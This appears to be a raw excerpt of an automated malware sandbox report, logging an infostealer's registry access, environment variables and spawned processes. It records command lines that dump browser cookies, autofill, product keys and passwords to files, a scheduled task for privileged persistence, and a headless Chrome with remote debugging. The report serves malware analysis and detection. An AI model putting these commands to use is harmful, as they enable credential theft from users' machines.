"HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "Launcher.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "Launcher.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "Launcher.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "Launcher.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "Launcher.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "Launcher.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "Launcher.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "Launcher.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "Launcher.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "Launcher.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "Launcher.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "System Properties.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "System Properties.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "System Properties.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "System Properties.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "System Properties.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "System Properties.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "System Properties.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "System Properties.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "System Properties.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "System Properties.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "System Properties.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "System Properties.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "System Properties.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "System Properties.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "System Properties.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "System Properties.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "System Properties.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "System Properties.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "System Properties.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "System Properties.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "System Properties.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "System Properties.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "System Properties.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "System Properties.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "System Properties.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "System Properties.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "System Properties.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "System Properties.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "System Properties.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "System Properties.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "System Properties.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "System Properties.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "System Properties.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "System Properties.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "windows defender.exe" touched "System Device Enumerator" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\LOCALSERVER32") "windows defender.exe" touched "VFW Capture Class Manager" (Path: "HKCU\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}\INPROCHANDLER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\SERVER") "explorcr.exe" touched "MMDeviceEnumerator class" (Path: "HKCU\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\INPROCSERVER32")44:Tb23,Observed system executable string:"%WINDIR%\SysWOW64\grpconv.exe" [Source: 00000000-00005992-00000BC0-1417608329] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\AlternativeEdgeCookies-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-12741986536] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\FirefoxCookies-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-13632840166] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\InstalledApps-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-14611723966] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /shtml "%APPDATA%\watch-output_20250917145800.html"" [Source: 00000000-00005992-00000C46-15701652608] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ChromeV20-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-17159364887] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\BrowserHistory-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-19862002493] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\DefenderLogs-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-20767891378] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\WorkingTasks-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-22044857848] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\Bookmarks-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-23658596816] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ProductKeys-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-24631493830] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ExtensionsView-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-26316351505] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\Autofill-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-27834726412] Observed system executable string:""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\AllPasswords-output_20250917145800.txt"" [Source: 00000000-00005992-00000C46-29846548286] Observed system executable string:"%WINDIR%\System32\schtasks.exe" [Source: 00000000-00006668-00000C46-19244694497] Observed system executable string:""%WINDIR%\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System Properties" /tr "%ALLUSERSPROFILE%\System Prop" [Source: 00000000-00006668-00000C46-19244694497], Observed system executable string:"%WINDIR%\system32\timeout.exe" [Source: 00000000-00007352-00000C46-3595101534]45:T1992,Process "Launcher.exe" (UID: 00000000-00005868) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess", USERDNSDOMAIN="DESKTOP-FVVF82A"" Process "Launcher.exe" (UID: 00000000-00005868) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "schtasks.exe" (UID: 00000000-00000196) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00000196) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "grpconv.exe" (UID: 00000000-00000692) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "grpconv.exe" (UID: 00000000-00000692) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "System Properties.exe" (UID: 00000000-00007468) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles, NUMBER_OF_PROCESSORS" Process "System Properties.exe" (UID: 00000000-00007468) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, USERDNSDOMAIN, PROCESSOR_ARCHITEW6432" Process "grpconv.exe" (UID: 00000000-00005252) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess", USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "grpconv.exe" (UID: 00000000-00005252) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles, NUMBER_OF_PROCESSORS" Process "chrome.exe" (UID: 00000000-00004504) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, SSLKEYLOGFILE, USERDOMAIN, PROMPT, SESSIONNAME, PROCESSOR_ARCHITECTURE, __COMPAT_LAYER, PSModulePath, SystemDrive, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), Path, PATHEXT, OS, PROCESSOR_ARCHITEW6432, PROCESSOR_REVISION, ProgramData, ProgramW6432, SystemRoot, TEMP, PROCESSOR_IDENTIFIER, USERPROFILE, TMP, ProgramFiles, PUBLIC, windir" Process "chrome.exe" (UID: 00000000-00006888) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="WkOJjQBYqCQYy8M", PROMPT="$P$G", SESSIONNAME="Console", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", SystemDrive="C:", USERNAME="vBlNct9", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", Path="C:\Program Files\Google\Chrome\Application;C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", OS="Windows_NT", PROCESSOR_REVISION="4f00", ProgramData="C:\ProgramData", PSExecutionPolicyPreference="Bypass", ProgramW6432="C:\Program Files", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="C:\Users\vBlNct9", TMP="%LOCALAPPDATA%\Temp", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", windir="C:\WINDOWS"" Process "chrome.exe" (UID: 00000000-00006888) was launched with modified environment variables: "CommonProgramFiles" Process "chrome.exe" (UID: 00000000-00008044) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_4504_UTOBQQFRAJDSIAIG"" Process "chrome.exe" (UID: 00000000-00006212) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "chrome.exe" (UID: 00000000-00006212) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "chrome.exe" (UID: 00000000-00006212) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME" Process "cmd.exe" (UID: 00000000-00007352) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "cmd.exe" (UID: 00000000-00007352) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, SSLKEYLOGFILE, USERDOMAIN, PROMPT, SESSIONNAME, PSModulePath, SystemDrive, USERNAME, USERDNSDOMAIN, PROCESSOR_ARCHITEW6432, PSExecutionPolicyPreference, ProgramW6432, SystemRoot, TEMP, USERPROFILE, TMP, PUBLIC, windir" Process "timeout.exe" (UID: 00000000-00002136) was launched with new environment variables: "LOCALAPPDATA="%USERPROFILE%\AppData\Local", NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", LOGONSERVER="%HOSTNAME%", PROMPT="$P$G", SESSIONNAME="Console", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", SystemDrive="C:", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", OS="Windows_NT", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\vBlNct9", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", HOMEDRIVE="C:", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="8"" Process "explorcr.exe" (UID: 00000000-00007420) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", USERDOMAIN="WkOJjQBYqCQYy8M", __COMPAT_LAYER="ElevateCreateProcess", USERNAME="vBlNct9", USERPROFILE="C:\Users\vBlNct9", windir="C:\WINDOWS""46:T4f3,"Launcher.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Launcher.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Launcher.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Build.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Build.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Build.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Build.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "Build.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "Build.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "Build.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "System Properties.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "System Properties.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "System Properties.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "System Properties.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN")47:Tfca,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005992-00000C2A-1413234767] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00005992-00000C2A-1413997516] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005992-00000C2A-1414272321] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005992-00000C2A-1414379143] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005992-00000C2A-1414709907] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005992-00000C2A-1414788196] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005992-00000C2A-1414923432] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005992-00000C2A-1415192310] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005992-00000C2A-1415264256] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00005992-00000C2A-1415677592] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005992-00000C2A-1415949616] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005992-00000C2A-1416041461] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Net.Http\c1f72f0ca85cb675a88efe8f2067f7c8\System.Net.Http.ni.dll" [Source: 00000000-00005992-00000C2A-1416130371] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll" [Source: 00000000-00005992-00000C2A-1416637186] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00005992-00000C2A-1416721427] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005992-00000C2A-1417283947] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" [Source: 00000000-00005992-00000C2A-1425048936] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" [Source: 00000000-00005992-00000C2A-1425925993] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00005992-00000C2A-1426101076] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00005992-00000C2A-1426197219] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005992-00000C2A-1427198340] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005992-00000C2A-1427941713] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005992-00000C2A-1427985969] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00005992-00000C2A-1428072361] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005992-00000C2A-1428348078]48:Tb7f,Spawned process "Launcher.exe" (UID: 00000000-00005868) Spawned process "Build.exe" (UID: 00000000-00005992) Spawned process "System Properties.exe" (UID: 00000000-00006668) Spawned process "windows defender.exe" (UID: 00000000-00006308) Spawned process "explorer.exe" (UID: 00000000-00007364) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\AlternativeEdgeCookies-output_20250917145800. ..." (UID: 00000000-00007692), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\FirefoxCookies-output_20250917145800.txt"" (UID: 00000000-00001044), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\InstalledApps-output_20250917145800.txt"" (UID: 00000000-00003840), Spawned process "grpconv.exe" with commandline "/shtml "%APPDATA%\\watch-output_20250917145800.html"" (UID: 00000000-00004304), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ChromeV20-output_20250917145800.txt"" (UID: 00000000-00003352), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\BrowserHistory-output_20250917145800.txt"" (UID: 00000000-00003800), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\DefenderLogs-output_20250917145800.txt"" (UID: 00000000-00004424), Spawned process "schtasks.exe" with commandline "/create /f /RL HIGHEST /sc minute /mo 1 /tn "System Properties" ..." (UID: 00000000-00000196), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\WorkingTasks-output_20250917145800.txt"" (UID: 00000000-00000692), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\Bookmarks-output_20250917145800.txt"" (UID: 00000000-00006272), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ProductKeys-output_20250917145800.txt"" (UID: 00000000-00005876), Spawned process "System Properties.exe" (UID: 00000000-00007468), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ExtensionsView-output_20250917145800.txt"" (UID: 00000000-00005252), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\Autofill-output_20250917145800.txt"" (UID: 00000000-00005148), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\AllPasswords-output_20250917145800.txt"" (UID: 00000000-00002708), Spawned process "powershell.exe" with commandline "-ExecutionPolicy Bypass -File "%APPDATA%\\" (UID: 00000000-00007948) Spawned process "chrome.exe" with commandline "--remote-debugging-port=9222 --remote-allow-origins=* --headless ..." (UID: 00000000-00004504) Spawned process "chrome.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Google\ ..." (UID: 00000000-00006888), Spawned process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --headless=new --noerrdialogs -- ..." (UID: 00000000-00008044), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007908)49:Tb7f,Spawned process "Launcher.exe" (UID: 00000000-00005868) Spawned process "Build.exe" (UID: 00000000-00005992) Spawned process "System Properties.exe" (UID: 00000000-00006668) Spawned process "windows defender.exe" (UID: 00000000-00006308) Spawned process "explorer.exe" (UID: 00000000-00007364) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\AlternativeEdgeCookies-output_20250917145800. ..." (UID: 00000000-00007692), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\FirefoxCookies-output_20250917145800.txt"" (UID: 00000000-00001044), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\InstalledApps-output_20250917145800.txt"" (UID: 00000000-00003840), Spawned process "grpconv.exe" with commandline "/shtml "%APPDATA%\\watch-output_20250917145800.html"" (UID: 00000000-00004304), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ChromeV20-output_20250917145800.txt"" (UID: 00000000-00003352), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\BrowserHistory-output_20250917145800.txt"" (UID: 00000000-00003800), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\DefenderLogs-output_20250917145800.txt"" (UID: 00000000-00004424), Spawned process "schtasks.exe" with commandline "/create /f /RL HIGHEST /sc minute /mo 1 /tn "System Properties" ..." (UID: 00000000-00000196), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\WorkingTasks-output_20250917145800.txt"" (UID: 00000000-00000692), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\Bookmarks-output_20250917145800.txt"" (UID: 00000000-00006272), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ProductKeys-output_20250917145800.txt"" (UID: 00000000-00005876), Spawned process "System Properties.exe" (UID: 00000000-00007468), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ExtensionsView-output_20250917145800.txt"" (UID: 00000000-00005252), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\Autofill-output_20250917145800.txt"" (UID: 00000000-00005148), Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\AllPasswords-output_20250917145800.txt"" (UID: 00000000-00002708), Spawned process "powershell.exe" with commandline "-ExecutionPolicy Bypass -File "%APPDATA%\\" (UID: 00000000-00007948) Spawned process "chrome.exe" with commandline "--remote-debugging-port=9222 --remote-allow-origins=* --headless ..." (UID: 00000000-00004504) Spawned process "chrome.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Google\ ..." (UID: 00000000-00006888), Spawned process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --headless=new --noerrdialogs -- ..." (UID: 00000000-00008044), Spawned process "chrome.exe" with commandline "--type=utility 